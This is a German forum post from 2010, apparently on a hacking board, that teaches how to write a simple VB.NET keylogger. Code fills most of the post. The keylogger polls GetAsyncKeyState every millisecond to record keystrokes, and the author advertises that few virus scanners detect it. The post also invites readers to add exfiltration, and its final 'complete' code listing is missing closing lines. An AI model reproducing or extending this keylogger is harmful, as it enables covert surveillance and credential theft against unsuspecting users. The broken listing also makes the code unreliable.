Ergebnis 1 bis 8 von 8

Baum-Darstellung

  1. #1
    Trojaner
    Registriert seit
    07.04.2010
    Beiträge
    77

    Standard [VB.NET][Einfacher Keylogger]

    Dieses Tutorial zeigt, wie man in vb.net einen einfachen, kleinen Keylogger coden kann, der von den wenigstens Virenscanner erkannt wird.

    Das Tutorial richtet sich an Leute, die schon ein wenig Erfahrung mit vb.net haben. Ich werde daher nicht auf Einzelheiten, sondern nur die reine Funktionsweise eingehen.

    Code:
    Public Class Form1
    
        Dim result As Integer
    
        Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Timer1.Enabled = True
        End Sub
    ...
    In dem oberen Codeabschnnit wird als erstes die Variable result als Integer deklariert, die später für den Schleifendurchlauf der Tastabfrage benötigt wird.

    Die Funktion "GetAsyncKeyState()" stellt die Systemweite Tastenabfrage zur Verfügung. Wichtig hierbei ist der Übergabewert "vkey as Integer" und das ganze als "Short". Nur so funktioniert das ganze auch unter Vista und Windows 7!

    Im Form1_Load Ereignis wird der Timer gestartet. Nach Ablauf der Intervalzeit, wird der Code in dem Timer_Tick Eriegnis ausgeführt.

    Code:
    ...
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            For i = 6 To 255
                result = 0
                result = GetAsyncKeyState(i)
                If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
                    End If
                Else
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
                    End If
                End If
            Next i
        End Sub
    Das Timer_Tick Ereignis löst also den jeweiligen Code nach dem angegeben Interval aus, sprich nach 1ms. Somit wird also durchgehend auf eine Tasteneingabe geprüft.

    Die Schleife durchläuft nun alle dem System bekannten Standardtasten. Es wird von 6 bis 255 gezählt und nicht von 1 bis 255, um die Maustasten nicht in die Abfrage mit einzubeziehen.

    Result wird nun auf "0" gesetzt und anschließend auf GetAsyncKeyState(i).
    Nun wird mit Hilfe von If-Abfragen geprüft, ob es sich bei der Eingabe um einen dem System bekannten Key handelt. Dies erfolgt mit der Zuweisung
    Code:
     If result = -32767 then...
    Ist das der Fall wird der Key der Textbox1 angefügt.
    Code:
    TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
    "Chr()" ist hierbei eine Funktion, an die sich ein CharCode als Integer übergeben lässt. In diesem Falle natürlich "i".

    Mit
    Code:
    If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
                    End If
                Else
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
                    End If
                End If
    wird geprüft ob zum Zeitpunkt der Eingabe Capslock oder Shift aktiviert ist um so zwischen Groß- und Kleinschreibung zu differenzieren.

    HIER NOCHMAL DER CODE ALS GANZES:
    Code:
    Public Class Form1
    
        Dim result As Integer
    
        Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Timer1.Enabled = True
        End Sub
    
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            For i = 6 To 255
                result = 0
                result = GetAsyncKeyState(i)
                If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
                    End If
                Else
                    If result = -32767 Then
                        TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
                    End If
                End If
    End Class
    So, ich hoffe das konnte dem ein oder anderem weiter helfen. Der Keylogger ist so wie er ist simpel gehalten, ohne jegliche Verschlüsselung, Mail oder FTP Support, weitere Abfragen von Sonderzeichen etc... Allerdings lässt sich darauf aufbauen, wenn man ein wenig Spaß an der Sache hat...

    Würde mich über Feedback freuen!

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    Slawa (09.04.2010)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •